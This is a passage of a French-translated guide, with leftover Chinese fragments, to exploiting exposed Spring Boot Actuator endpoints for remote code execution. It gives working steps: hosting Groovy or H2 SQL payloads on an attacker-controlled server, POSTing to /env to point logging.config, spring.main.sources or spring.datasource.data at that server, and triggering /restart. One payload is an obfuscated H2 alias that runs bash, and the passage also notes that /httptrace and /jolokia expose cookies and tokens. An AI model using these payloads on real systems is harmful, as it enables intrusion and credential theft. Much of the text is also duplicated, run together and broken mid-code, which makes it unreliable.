5. La machine cible demande le serveur JNDI malveillant, ce qui provoque une injection JNDI et cause une vulnérabilité RCE.
#### Analyse de la vulnérabilité :
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### Environnement de vulnérabilité :
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Accès normal :```
http://127.0.0.1:9098/actuator/env
/env 接口设置属性/restart 接口重启应用在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Placez dans le répertoire racine un fichier `example.groovy` se terminant par `groovy`, dont le contenu est le code groovy à exécuter, par exemple :```xml
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
logging.configch.qos.logback.classic.util.ContextInitializer.java du composant logback-classic, la logique vérifie si l'URL se termine par groovygroovy, alors le code groovy contenu dans le fichier est exécuté, provoquant une vulnérabilité RCErepository/springboot-restart-rce
Accès normal :``` http://127.0.0.1:9098/actuator/env
### 0x0B:restart spring.main.sources groovy RCE
#### Conditions d'exploitation :
- Peut envoyer une requête POST à l'interface `/env` du site cible pour définir des propriétés
- Peut envoyer une requête POST à l'interface `/restart` du site cible pour redémarrer l'application
- ⚠️ La cible peut demander au serveur HTTP de l'attaquant (les requêtes peuvent sortir du réseau interne), sinon le redémarrage entraînera une sortie anormale du programme
- ⚠️ Si le serveur HTTP renvoie un fichier contenant une syntaxe groovy malformée, cela entraînera une sortie anormale du programme
- ⚠️ La dépendance groovy doit être présente dans l'environnement, sinon cela entraînera une sortie anormale du programme
#### Méthode d'exploitation :
##### Étape 1 : Héberger le fichier groovy
Sur la machine vps que vous contrôlez, démarrez un simple serveur HTTP, en utilisant de préférence des ports de service HTTP courants (80, 443)```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以 groovy 结尾的 example.groovy 文件,内容为需要执行的 groovy 代码,比如:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### Étape 2 : Définir la propriété spring.main.sources
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### Étape 3 : redémarrer l'application
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Principe de la vulnérabilité :
1. La machine cible peut définir l'URL de sources supplémentaires pour créer `ApplicationContext` via la propriété `spring.main.sources`
2. Après le redémarrage de l'application, le programme demande l'URL configurée
3. Dans le code du fichier `org.springframework.boot.BeanDefinitionLoader.java` du composant `spring-boot`, la logique détermine si l'URL se termine par `.groovy`
4. Si l'URL se termine par `.groovy`, le code Groovy dans le contenu du fichier est exécuté, entraînant une vulnérabilité RCE
#### Environnement de la vulnérabilité :
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Accès normal :```
http://127.0.0.1:9098/actuator/env
/env du site cible pour définir des propriétés/restart du site cible pour redémarrer l'applicationh2database, spring-boot-starter-data-jpaSur une machine VPS que vous contrôlez, démarrez un simple serveur HTTP, en utilisant de préférence un port de service HTTP courant (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
在根目录放置以任意名字的文件,内容为需要执行的 h2 sql 代码,比如:
> ⚠️ 下面payload 中的 'T5' 方法只能 restart 执行一次;后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址,然后才能被 restart 重新使用,否则第二次 restart 重启应用时会导致程序异常退出```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
Spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.dataorg.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java du composant spring-boot-autoconfigure, la logique du code utilise la méthode runScripts pour exécuter le code SQL de la base de données H2 contenu dans l'URL demandée, provoquant une vulnérabilité RCErepository/springboot-restart-rce
Accès normal :``` http://127.0.0.1:9098/actuator/env
| spring-boot-dependencies |
| spring-cloud-dependencies | spring-cloud-dependencies |
| Version majeure de Spring Cloud | Version de Spring Boot |
|---|
| Angel | Compatible Spring Boot 1.2.x |
| Brixton | Compatible Spring Boot 1.3.x, 1.4.x |
| Camden | Compatible Spring Boot 1.4.x, 1.5.x |
| Dalston | Compatible Spring Boot 1.5.x, incompatible 2.0.x |
| Edgware | Compatible Spring Boot 1.5.x, incompatible 2.0.x |
| Finchley | Compatible Spring Boot 2.0.x, incompatible 1.5.x |
| Greenwich | Compatible Spring Boot 2.1.x |
| Hoxton | Compatible Spring Boot 2.2.x |
| MX | Version milestone |
| RCX | Version candidate à la publication (Release Candidate) |
| RELEASE | Version officielle publiée |
| SRX | Version officielle publiée (corrections de bugs et erreurs, republiée) |
/env/restart/jolokia, /actuator/jolokia
On peut utiliser l'interface /jolokia/list pour trouver des MBean exploitables, déclenchant indirectement des vulnérabilités RCE, obtenir en clair des informations de confidentialité importantes masquées par des astérisques, etc.
/trace, /actuator/httptrace
Certaines informations de suivi des requêtes HTTP peuvent contenir des détails sur les requêtes des applications systèmes internes ; ainsi que des cookies d'utilisateurs ou d'administrateurs valides, des jetons JWT, etc.